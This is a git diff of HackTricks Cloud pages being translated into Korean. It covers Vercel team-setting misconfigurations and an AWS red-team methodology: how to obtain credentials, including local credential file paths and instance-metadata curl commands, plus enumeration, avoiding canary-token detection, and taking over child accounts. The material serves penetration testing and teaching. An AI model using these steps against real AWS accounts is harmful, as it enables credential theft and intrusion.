- **잘못된 구성:** 이 보호는 클라이언트와 서버 애플리케이션이 항상 동일한 버전을 사용하도록 보장하여 클라이언트가 서버와 다른 버전을 사용하는 비동기화를 방지합니다.
- **위험:** 이를 비활성화하면 향후 새로운 배포에서 DoS 문제가 발생할 수 있습니다.
---
## Team Settings
## 팀 설정
### General
### 일반
#### Security Configurations:
#### 보안 구성:
- **Transfer**
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
- **전송**
- **잘못된 구성:** 모든 프로젝트를 다른 팀으로 전송할 수 있습니다.
- **위험:** 공격자가 프로젝트를 훔칠 수 있습니다.
- **프로젝트 삭제**
- **잘못된 구성:** 모든 프로젝트와 함께 팀을 삭제할 수 있습니다.
- **위험:** 프로젝트가 삭제됩니다.
---
### Billing
### 청구
#### Security Configurations:
#### 보안 구성:
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
- **속도 통찰력 비용 한도**
- **잘못된 구성:** 공격자가 이 숫자를 증가시킬 수 있습니다.
- **위험:** 비용 증가.
---
### Members
### 구성원
#### Security Configurations:
#### 보안 구성:
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
- **구성원 추가**
- **잘못된 구성:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다.
- **위험:** 공격자 지속성.
- **역할**
- **잘못된 구성:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오.
- **위험:** Vercel 팀의 노출 증가.
---
### Access Groups
### 접근 그룹
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
Vercel의 **접근 그룹**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다.
**Potential Misconfigurations:**
**잠재적인 잘못된 구성:**
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
- **과도한 권한 부여 구성원:** 필요 이상으로 많은 권한이 있는 역할을 할당하여 무단 접근 또는 행동을 초래합니다.
- **부적절한 역할 할당:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다.
- **프로젝트 분리 부족:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다.
- **불충분한 그룹 관리:** 접근 그룹을 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다.
- **일관되지 않은 역할 정의:** 서로 다른 접근 그룹 간에 일관되지 않거나 불명확한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다.
---
### Log Drains
### 로그 드레인
#### Security Configurations:
#### 보안 구성:
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
- **타사 로그 드레인:**
- **잘못된 구성:** 공격자가 로그를 훔치기 위해 로그 드레인을 구성할 수 있습니다.
- **위험:** 부분적인 지속성.
---
### Security & Privacy
### 보안 및 개인 정보 보호
#### Security Configurations:
#### 보안 구성:
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
- **팀 이메일 도메인:** 구성된 경우, 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 가입 시 및 대시보드에서 팀에 참여하도록 합니다.
- **잘못된 구성:**
- 잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다.
- 회사 전용 도메인 대신 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 사용합니다.
- **위험:**
- **무단 접근:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 참여하라는 초대를 받을 수 있습니다.
- **데이터 노출:** 무단 개인에게 민감한 프로젝트 정보가 노출될 수 있습니다.
- **보호된 Git 범위:** 팀에 최대 5개의 Git 범위를 추가하여 다른 Vercel 팀이 보호된 범위에서 리포지토리를 배포하지 못하도록 합니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다.
- **잘못된 구성:** 보호 목록에 중요한 Git 범위를 추가하지 않습니다.
- **위험:**
- **무단 배포:** 다른 팀이 귀하의 조직 Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다.
- **지적 재산 노출:** 독점 코드가 팀 외부에 배포되고 접근될 수 있습니다.
- **환경 변수 정책:** 팀의 환경 변수를 생성 및 편집하기 위한 정책을 시행합니다. 특히, 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다.
- **잘못된 구성:** 민감한 환경 변수의 강제를 비활성화합니다.
- **위험:**
- **비밀 노출:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다.
- **데이터 유출:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다.
- **감사 로그:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다.
- **잘못된 구성:**\
무단 팀 구성원에게 감사 로그에 대한 접근을 부여합니다.
- **위험:**
- **개인 정보 침해:** 민감한 사용자 활동 및 데이터 노출.
- **로그 변조:** 악의적인 행위자가 자신의 흔적을 감추기 위해 로그를 변경하거나 삭제할 수 있습니다.
- **SAML 단일 로그인:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 ID 공급자(IdP)와 통합할 수 있습니다.
- **잘못된 구성:** 공격자가 SAML 매개변수(예: 엔터티 ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다.
- **위험:** 지속성 유지.
- **IP 주소 가시성:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다.
- **잘못된 구성:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두기.
- **위험:**
- **개인 정보 침해:** GDPR과 같은 데이터 보호 규정 준수 실패.
- **법적 결과:** 개인 데이터 처리 부주의로 인한 잠재적 벌금 및 처벌.
- **IP 차단:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다.
- **잘못된 구성:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하도록 악용할 수 있습니다.
- **위험:**
- **정상 사용자에 대한 서비스 거부:** 유효한 사용자 또는 파트너의 접근 차단.
- **운영 중단:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실.
---
### Secure Compute
### 안전한 컴퓨팅
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
**Vercel 안전한 컴퓨팅**은 Vercel 함수와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다.
#### **Potential Misconfigurations and Risks**
#### **잠재적인 잘못된 구성 및 위험**
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
1. **잘못된 AWS 리전 선택**
- **잘못된 구성:** 백엔드 서비스의 리전과 일치하지 않는 안전한 컴퓨팅 네트워크를 위한 AWS 리전을 선택합니다.
- **위험:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하.
2. **CIDR 블록 중복**
- **잘못된 구성:** 기존 VPC 또는 다른 네트워크와 중복되는 CIDR 블록을 선택합니다.
- **위험:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출.
3. **부적절한 VPC 피어링 구성**
- **잘못된 구성:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트).
- **위험:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출.
4. **과도한 프로젝트 할당**
- **잘못된 구성:** 적절한 격리 없이 여러 프로젝트를 단일 안전한 컴퓨팅 네트워크에 할당합니다.
- **위험:** 공유 IP 노출로 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다.
5. **부적절한 IP 주소 관리**
- **잘못된 구성:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다.
- **위험:** IP 스푸핑, 추적 취약점 및 IP가 악성 활동과 연관될 경우 블랙리스트에 올라갈 가능성.
6. **불필요하게 빌드 컨테이너 포함**
- **잘못된 구성:** 빌드 중 백엔드 접근이 필요하지 않을 때 안전한 컴퓨팅 네트워크에 빌드 컨테이너를 추가합니다.
- **위험:** 공격 표면이 확장되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비.
7. **우회 비밀을 안전하게 처리하지 않음**
- **잘못된 구성:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다.
- **위험:** 보호된 배포에 대한 무단 접근이 가능해져 공격자가 악성 코드를 조작하거나 배포할 수 있습니다.
8. **리전 장애 조치 구성 무시**
- **잘못된 구성:** 수동 장애 조치 리전을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다.
- **위험:** 기본 리전 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다.
9. **VPC 피어링 연결 한도 초과**
- **잘못된 구성:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다.
- **위험:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다.
10. **불안전한 네트워크 설정**
- **잘못된 구성:** 약한 방화벽 규칙, 암호화 부족 또는 안전한 컴퓨팅 네트워크 내에서 부적절한 네트워크 분할.
- **위험:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성 증가.
---
### Environment Variables
### 환경 변수
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
**목적:** 모든 프로젝트에서 사용하는 환경별 변수 및 비밀을 관리합니다.
#### Security Configurations:
#### 보안 구성:
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **민감한 변수 노출**
- **잘못된 구성:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근 가능하게 만듭니다.
- **위험:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출로 이어질 수 있습니다.
- **민감한 비활성화**
- **잘못된 구성:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
- **위험:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
**AWS** 환경에서 **펜테스팅**을 시작하기 전에 AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 어떻게 찾고, 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다.
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
조직 계층 구조, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다:
{{#ref}}
aws-basic-information/
{{#endref}}
## Labs to learn
## 학습을 위한 실습
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
Tools to simulate attacks:
공격을 시뮬레이션하기 위한 도구:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
## AWS Pentester/Red Team Methodology
## AWS 펜테스터/레드 팀 방법론
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
AWS 환경을 감사하기 위해서는 어떤 **서비스가 사용되고 있는지**, 무엇이 **노출되고 있는지**, 누가 **무엇에 접근할 수 있는지**, 그리고 내부 AWS 서비스와 **외부 서비스**가 어떻게 연결되어 있는지를 아는 것이 매우 중요합니다.
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
레드 팀 관점에서, **AWS 환경을 타격하기 위한 첫 번째 단계**는 일부 **자격 증명**을 얻는 것입니다. 이를 수행하는 방법에 대한 몇 가지 아이디어는 다음과 같습니다:
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
- github(또는 유사한 곳)의 **유출** - OSINT
- **소셜** 엔지니어링
- **비밀번호** 재사용 (비밀번호 유출)
- AWS 호스팅 애플리케이션의 취약점
- [**서버 측 요청 위조**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) 메타데이터 엔드포인트에 접근
- **로컬 파일 읽기**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 제3자 **유출**
- **내부** 직원
- [**Cognito**](aws-services/aws-cognito-enum/index.html#cognito) 자격 증명
Or by **compromising an unauthenticated service** exposed:
또는 **인증되지 않은 서비스**를 **타격**하여:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Or if you are doing a **review** you could just **ask for credentials** with these roles:
또는 **검토**를 수행하는 경우 이러한 역할로 **자격 증명을 요청**할 수 있습니다:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> 자격 증명을 얻은 후에는 **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로 기본적인 열거 작업을 수행해야 합니다:
## Basic Enumeration
## 기본 열거
### SSRF
If you found a SSRF in a machine inside AWS check this page for tricks:
AWS 내부의 머신에서 SSRF를 발견한 경우 이 페이지에서 요령을 확인하세요:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,8 +72,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
가장 먼저 알아야 할 것은 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다:
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> 회사들이 **canary tokens**를 사용하여 **토큰이 도난당하고 사용될 때** 식별할 수 있음을 유의하십시오. 사용하기 전에 토큰이 canary token인지 확인하는 것이 좋습니다.\
> 자세한 내용은 [**이 페이지를 확인하세요**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
### 조직 열거
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
### IAM Enumeration
### IAM 열거
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
충분한 권한이 있는 경우 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**은 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다.
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
IAM을 열거할 충분한 권한이 없는 경우 **무작위 대입 공격을 통해** 알아낼 수 있습니다.\
**열거 및 무작위 대입 공격 방법**은 다음에서 확인하세요:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 사용 중인 서비스가 무엇인지 파악할 시간입니다.\
> 다음 섹션에서는 **일반 서비스 열거 방법**을 확인할 수 있습니다.
## Services Enumeration, Post-Exploitation & Persistence
## 서비스 열거, 사후 활용 및 지속성
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 **사후 활용** 트릭을 찾을 수 있습니다:
{{#ref}}
aws-services/
{{#endref}}
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동 도구**](#automated-tools)에 대한 **섹션**을 찾을 수 있습니다.
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
또한 이 단계에서 **인증되지 않은 사용자에게 노출된 더 많은 서비스**를 발견했을 수 있으며, 이를 악용할 수 있습니다:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
## Privilege Escalation
## 권한 상승
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 최소한 집중해야 합니다:
{{#ref}}
aws-privilege-escalation/
{{#endref}}
## Publicly Exposed Services
## 공개적으로 노출된 서비스
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
AWS 서비스를 열거하는 동안 일부 서비스가 **인터넷에 요소를 노출하고 있는** 것을 발견했을 수 있습니다 (VM/컨테이너 포트, 데이터베이스 또는 큐 서비스, 스냅샷 또는 버킷...).\
펜테스터/레드 팀원으로서 **민감한 정보/취약점**을 찾을 수 있는지 항상 확인해야 하며, 이는 **AWS 계정에 대한 추가 접근을 제공할 수 있습니다**.
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
이 책에서는 **노출된 AWS 서비스 찾기 및 확인 방법**에 대한 **정보**를 찾을 수 있습니다. **노출된 네트워크 서비스의 취약점 찾기**에 대해서는 특정 **서비스**를 다음에서 **검색**할 것을 권장합니다:
{{#ref}}
https://book.hacktricks.wiki/
{{#endref}}
## Compromising the Organization
## 조직 침해
### From the root/management account
### 루트/관리 계정에서
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
관리 계정이 조직 내에서 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 새 계정에 접근할 수 있는 **AdministratorAccess** 정책이 부여됩니다.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
So, in order to access as administrator a child account you need:
따라서 자식 계정에 관리자 권한으로 접근하려면 다음이 필요합니다:
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
- **관리** 계정을 **침해**하고 **자식 계정의 ID**와 **역할의 이름**(기본적으로 OrganizationAccountAccessRole)을 찾아 관리 계정이 관리자 권한으로 접근할 수 있도록 합니다.
- 자식 계정을 찾으려면 AWS 콘솔의 조직 섹션으로 가거나 `aws organizations list-accounts`를 실행합니다.
- 역할의 이름을 직접 찾을 수 없으므로 모든 사용자 정의 IAM 정책을 확인하고 **이전에 발견된 자식 계정에 대한 `sts:AssumeRole`을 허용하는 정책**을 검색합니다.
- **관리 계정의 주체**를 **자식 계정의 역할에 대한 `sts:AssumeRole` 권한으로 침해**합니다 (계정이 관리 계정의 누구나 가장할 수 있도록 허용하더라도, 외부 계정이므로 특정 `sts:AssumeRole` 권한이 필요합니다).
## Automated Tools
## 자동화 도구
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
### 정찰
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ruby로 작성된 다중 스레드 AWS 보안 중심 **인벤토리 수집 도구**입니다.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist는 클라우드 제공업체로부터 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper는 Amazon Web Services (AWS) 환경을 분석하는 데 도움을 줍니다. 이제 보안 문제에 대한 감사 기능을 포함하여 훨씬 더 많은 기능을 포함하고 있습니다.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
